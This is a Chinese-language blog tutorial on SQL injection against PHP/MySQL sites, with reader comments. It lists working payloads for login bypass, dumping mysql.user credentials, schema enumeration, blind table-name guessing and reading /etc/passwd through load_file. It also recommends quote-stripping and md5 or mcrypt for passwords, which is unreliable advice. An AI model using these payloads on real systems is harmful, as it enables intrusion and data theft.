Sql Injection 應該可以說是目前網路上,駭客最常用的攻擊方式,因為攻擊方式簡單,又不需要使用任何軟體,或是自行撰寫程式。講到 SQL,就要提到資料庫,大多數的網站都會安裝資料庫伺服器(Database),其實 Database 並不是什麼可怕的東西,Database 的功能就是將資料依序儲存下來,然後以最快的速度,找出你想要的資料,而在尋找資料之前,你必須輸入 Database 指令,你輸入的這串指令,我們就稱為 SQL 語法。
Sql Injection 就是指 SQL 語法上的漏洞,藉由特殊字元,改變語法上的邏輯,駭客就能取得資料庫的所有內容,當然也包含了會員的帳號,密碼,下面就舉一個SQL登入漏洞:
一個有會員登入功能的網站,都會需要輸入帳號與密碼來進行驗證
而後端程式,如 PHP 就必需支援相關的登入檢查,判定 User 輸入的帳號、密碼是否正確,來確定登入是否成功 ,PHP 執行的 SQL 語法如下,這是一個簡單的 SQL 語法,主要功能是從 members 這個資料表中,取出符合 User 所輸入帳號與密碼的會員資料。
select * from members where account='$name' and password='$password'
但若是駭客輸入有特殊字元的帳號:「 ' or 1=1 /* 」,密碼:「任意值」
這時SQL語法就會變成:
select * from members where account='' or 1=1 /*' and password=''
因為「/*」在 MySQL 語法中代表註解的意思,所以「/*」後面的字串通通沒有執行,而這句判斷式「1=1」永遠成立,駭客就能登入此網站成功。
SQL 語法的註解
SQL 註解的語法有以下三種,不同的 SQL 版本,會吃不同的語法。
- 「/*」 MySQL
- 「--」 MsSQL
- 「#」 MySQL , # 對於 browser 來說是有意義的,那是錨點的意思,所有必須先透過 Url Encode 後的代碼 「%23」 來代替。
防護方式
Sql Injection攻擊很簡單,不過防護也不難,只要過瀘字串「'」,即可,當然如果你的SQL語法寫得很糟,保險的做法是過瀘「' " 」等字串,並檢查變數型態「數字、字元、字串」,另外會員的密碼最好是經過加密,如 md5 或 Double md5 演算法加密,這樣就能避免資料外洩時,密碼也同時外洩,還有要特別注意,md5 目前已經有破解方式,改用 mcrypt 會是更好的加密方式。
PHP 過瀘 SQL Injection 的語法:
$name = preg_replace("/[\'\"]+/" , '' ,$name);
- $str = "'\"";
- $replace = array("'" => "& #39;", "\"" => "& quot;"); //請自已把 & # , & q 中間的空白移除
- $str = strtr($str, $replace);
Sql Injection的攻擊方式會因不同的資料庫而有不同的語法, 如 MsSQL的註解是用 「--」MySQL的另一個註解是用 「#」。
SQL Injection 攻擊
取得 Table name
如果網站連接 database 使用的帳號,有權限讀取 INFORMATION_SCHEMA database,這樣就能直接搜尋任何一個 table 名稱,如
- [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
- [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
- union select%20host,user,password fROM mysql.user limit 1,1#
- union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
- union select host,db,user from mysql.db limit 1,1 #
取得所有資料庫名稱
- sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
- sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;
取得所有資料表名稱
- sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--
一般來說,information_schema 這個資料庫是沒有權限讀取的,尤其是市面上常見的虛擬主機,大部分的虛擬主機只能使用伺服器給的控制台來新增資料庫,沒辦法透過程式讀取所有的資料庫,這時駭客們會開始用猜的方式,來取得資料表的名稱,例如會員資料常會使用的 table 名稱為 users , members 等等。
猜測 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);
- sqlInjection.php?id=1' or exists(select 1 from members)/*
- sqlInjection.php?id=1' or exists(select 1 from admin)%23
- sqlInjection.php?id=1' or exists(select 1 from products)--
暴力猜測 Table Name
資料表的名稱不一定都是英文單字,有些工程師會使用怪怪的命名,這時駭客還是可以使用暴力破解的方式,將 Table Name 拼出來。
SQL 有個 function : substring ,這個功能可以對字串做切割,駭客可以先將「字串」切割成一個字元。
接著使用 ord 將字元轉成 Ascii Code ,然後去比對他的 Ascii Code 是否 = 32~ 127 , a = 97, b = 98
看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第一個字元。
- id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
- id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
- id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
再看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第二個字元。
- id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
- id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
- id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
取得 MySQL 資料庫相關訊息
取得連線帳號 user()
- sqlInjection.php?id=1' select 1,2,user()/*
取得 Mysql 版本 version()
- sqlInjection.php?id=1' select 1,2,version()/*
讀取系統檔案內容
透過 mysql 的 method 「load_file」,駭客就能輕易取得網站的檔案內容。
- union select 1,2,load_file('/etc/passwd')
使用 PDO 防止 SQL Injection
http://us3.php.net/manual/en/book.pdo.php
PDO 是一個可以 query 資料庫的程式,我們能夠透過 PDO 連到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防護機制,使用 bindValue 的方式,PDO 會自動檢查數據格式,並轉換特殊字元,再將 User Input 填入 SQL 語法中。
- $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\''));
- $sth = $db->prepare('select * from table where id =:id and title= :title ');
- $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
- $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
- $sth->execute();
- $sth->fetch(PDO::FETCH_ASSOC);
- PDO::PARAM_INT 數字
- PDO::PARAM_STR 字串
目前回應 Comments(15 comments)
狼圖騰 2016/11/29
回覆你的留言
Reply我覺得兩個都可以做 (跳脫函式或bind + NCR)
即使 NCR 那邊達到跳脫的效果,至少有幾點是比較好的:
1. 你有照文件的規格去寫。就像你開發的東西也希望別人照你的方式去寫一樣。
2. NCR 與此函式並不衝突。
-----------------------------
文件那邊的
$name = preg_replace("/['"]+/" , '' ,$name);
其實也最好改用 mb_ereg_replace...
UTF-8 其實是不會出事, big5 專案怕的是中文字含有單引號或雙引號的 ascii 碼就這樣被拆掉了
Admin
感謝提醒,我比較少考慮 Big5 的問題,因為我一接觸程式沒多久,UTF-8 就已經出現了,為了處理許功蓋先生留下的問題,我開發的程式,都已經全面使用 UTF-8 ,目前傾向開發人員不要再使用 Big5 編碼的文件/資料庫,最好是都改用 UTF-8 ,這樣可以減少很多編碼的問題。
狼圖騰 2016/09/21
不管是不是 PDO, PHP 資料庫都有提供一個函式提供跳脫
Reply一定要呼叫那個函式 (例如使用 mysql_connect 的相關函式就是 mysql_real_escape_string, PDO 的話就是本文寫的 bindParam 或是 $dbh->quote 函式)
其實有二個很重要的理由如下
1. 跳脫規則會隨著資料庫類型改變
MySQL 使用 ' 跳脫,其它資料庫使用 '' 跳脫。使用相關函式會幫你改變相對應規則。
2. PHP 的字元類型實際上是 bytes 類型,資料庫字元類型實際上是真的字元類型
試試下面的程式碼 (此例子為 big5 或是 gbk 編碼環境,不適用於 UTF-8)
header('Content-Type: text/plain; charset=big5');
echo addslashes("xbfx27"); // 企圖將所有 單引號、雙引號、反斜述 前面加上反斜線以跳脫問題
// 結果會印出 璞'
問題在於 PHP 的字元型態是 bytes, 對於 xbfx27 會把它當成兩個字看。然後跳脫完成變成 xbfx5cx27
送進資料庫時,xbfx5c 為一個字元 (因為 big5 或是 gbk 編碼),不會把後面的 x5c (反斜線) 當成脫跳字元看待。然後後面的 x27 ('單引號) 就很神奇的發揮作用了
--------------------------------------
可能還有其它的問題,我想表達的是,
資料庫函式一定有提供一個函式來解決注入問題。
請各位不要自己自作聰明開發相對應方法,
確實看清楚資料庫文件手冊並確實地呼叫這些對應函數。
(如果你有用 PHP Framework 的話一樣要看清楚相對應手冊)
Admin
官方提供的方式也不一定安全,有些狀況,官方會認為開發人員自已也要懂 Security ,工程師自已製造的洞,官方也不會理你的 ,像跳脫字元,我個人就覺得是一個很不安全的處理方式,如果你存了一個 (跳脫字元+雙引號) 進資料庫,那麼你再用 SQL Query 從資料庫拿出來,最後你拿到的資料到底是什麼?,還有你後續對這筆資料的處理也要非常小心,因為他存在 " 雙引號,這些都增加了軟體工程師的負擔,每寫一行 code ,都要思考各種極端狀況。
我的文章會提到 NCR ,直接把 " ' 轉成 &#xxx; 這種 NCR 格式,就是不希望後端工程師在做資料處理的時候,還會遇到單/雙引號的問題,而 NCR 在網頁上的顯示會是正常的單/雙引號,所以並不會影響到用戶,這招算是比較爆力的解法,當然直接轉 NCR 這個方法是有些限制的,例如你要確認後端的資料搜尋是否需要支援單/雙引號 ( ' 會影響到搜尋 39 這個數字的結果)。
菲 2016/02/15
更正~
Reply原資料庫的設定為 latin1, 要把資料全數轉到 utf8 的資料庫
Admin
資料庫設定 latin1 ,不代表你存進去的文字編碼就是 latin1 ,有可能你存進去的文字其實是 Big5 編碼。
可以先用 mysqldump 把資料表內容存在一個檔案裡:
例如: mysqldump -hlocalhost -uroot --add-drop-database --database test --table book --default-character-set=latin1 -p > tmp
再來編輯 tmp 檔案,將所有的 CHARSET=latin1 改成 CHARSET=utf8
接著你要先檢查你存進資料庫的中文字到底是 Big5 還是 UTF8 編碼,確定編碼方式後,才能執行下面的編碼轉換:
如果你的中文是用 Big5 存進 latin1 資料庫,那麼你要用指令 iconv -f big5 -t utf8 tmp > new.sql 來轉換文字編碼,我猜你的資料庫應該會是這一種。
菲 2016/02/15
不好意思, 在這問其他類型問題, 還請高人指點!!
請問, 要如何將原編碼為 big5的資料庫轉到另一編碼為 utf8的資料庫?
菲 2016/01/03
請問~
Reply使用此方法是否會讓頁面跑的比較慢?
另外, 是否需要將如 $query = $db->prepare(""); 的 $query 關閉?
還有, 是否也需要在結尾也將開啟的資料庫也關閉, 如設定 $query = null;
Admin
1. 頁面跑的慢不慢跟 SQL 語法寫得好不好比較有關系, PDO 不會影響太多效能。
這篇文章有 PDO 效能測試的數據
http://archive.jnrbsn.com/2010/06/mysqli-vs-pdo-benchmarks
2. 一般的用法 PDO 是要關閉,用 $dbh = null ,但是如果使用 persistent connections 就可以不用關閉。
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass, array(
PDO::ATTR_PERSISTENT => true
));
菲 2015/12/25
上次的問題解決了, 謝謝@@
Reply又來請教了!!
$num_float = "2.5";
其中要存入的資料是浮動變數, 那 PDO::PARAM_INT 是否正確?
$updods->bindParam(1, $num_float, PDO::PARAM_INT);
Admin
菲 2015/12/22
不好意思, 又來打擾了!!
Reply在網路上有看到要讀取資料的筆數寫法如下:
$sth=$db->prepare("select count(*) from product where id=2");
$sth->execute();
$rowCount=$sth->fetchColumn();
但依此法試了, 仍無法讀取筆數???
Admin
這只是單純的 SQL 語法,語法本身看起來沒問題,程式的部分我有幫你測試過,也是正常的。
如果 id = 2 有一筆資料,那麼 $rowCount 會得到 1
不過你是不是要用這個 SQL 語法 select count(*) from product ,才能拿到整個 table 的筆數。
菲希雅 2015/12/15
請問~
Reply$query = $db->prepare("select title,con from table where title like ?");
當中有使用 like , 值要怎麼帶入?
Admin
第一個 ? 代表 index 1 , 第二個 ? 代表 index 2, bindValue 的時候使用數字 1, 2, 3, 4 即可
範例如下:
$query = $db->prepare("select title,con from table where title like ?");
$query->bindValue(1, '%xxxxx%', PDO::PARAM_STR);
菲 2015/11/26
再請問, 有在網路上看到寫 "PHP 5.1以後才可以用PDO", 那我們的版本是 4, 不就不能使用了?
ReplyAdmin
網路上可以查到 PHP 4 用的 PDO 版本
例如 : http://www.phpclasses.org/package/2572-PHP-PDO-database-abstraction-interface-for-PHP-4.html
菲 2015/11/26
但如果php的版本是4, 直接用 intval() 或 addslashes() 囉?
ReplyAdmin
建議用這種方式,直接把單引號、雙引號轉成 numeric character reference (NCR) ,
$str = "'"";
$replace = array("'" => "'", """ => """);
$str = strtr($str, $replace);
或是用文章中提到的 PDO Library http://php.net/manual/en/book.pdo.php
charles 2014/06/25
目前所知許多網站相關的SQL注入弱點都已經防堵了,請問一下你有相關的免費測試軟體(SQL注入)
Reply或網站資源可提供測試嗎?
Admin
charles 2014/06/03
請問一下,aspx SQL Injection 的手法如何? 可提供相關的經驗並且介紹一下嗎?謝謝!!
ReplyAdmin
Database 有很多種,一種是 Mysql 常搭配 apache 一起使用,還有一種是 Mssql 常搭配 IIS , asp 一起使用,我想你問的是 Mssql 的 SQL Injection 吧?
Volar 2014/02/22
學習了!!!
George 2013/11/07
我之前學習相關課程時,就在一些知名網站試過類似的SQL Injection,有個大網站還真的被入侵成功了,我寄e-mail去通知他們,結果他們竟然沒有理會= =+,一直到現在還是一樣~這些人對資安的觀念實在是無言...
ReplyAdmin
不要怪他們!! 台灣在這方面還蠻落後的, 我也曾經年少不懂事過,寫過很多有漏洞的程式,這幾篇文章,是希望大家對於網頁安全性方面能夠有所提升。
版大你好 2013/11/06
版大對於SQL注入 整理的不錯
Reply不過 可否請問一下 如何知道 上面輸入的指令碼
交給資料庫時 又是如何解釋? (我非常想要知道)
可以自己安裝資料庫,自己測試嗎?
我想每個資料庫 對於指令碼的解釋 應該會不同
還有最後一點 我也想要知道 SQL注入是否可以完全過濾掉?
Admin
1. 安裝資料庫並不難,在 windows 下,你可以安裝 xampp + phpmyadmin,就可以透過 Browser 去操作 SQL 語法。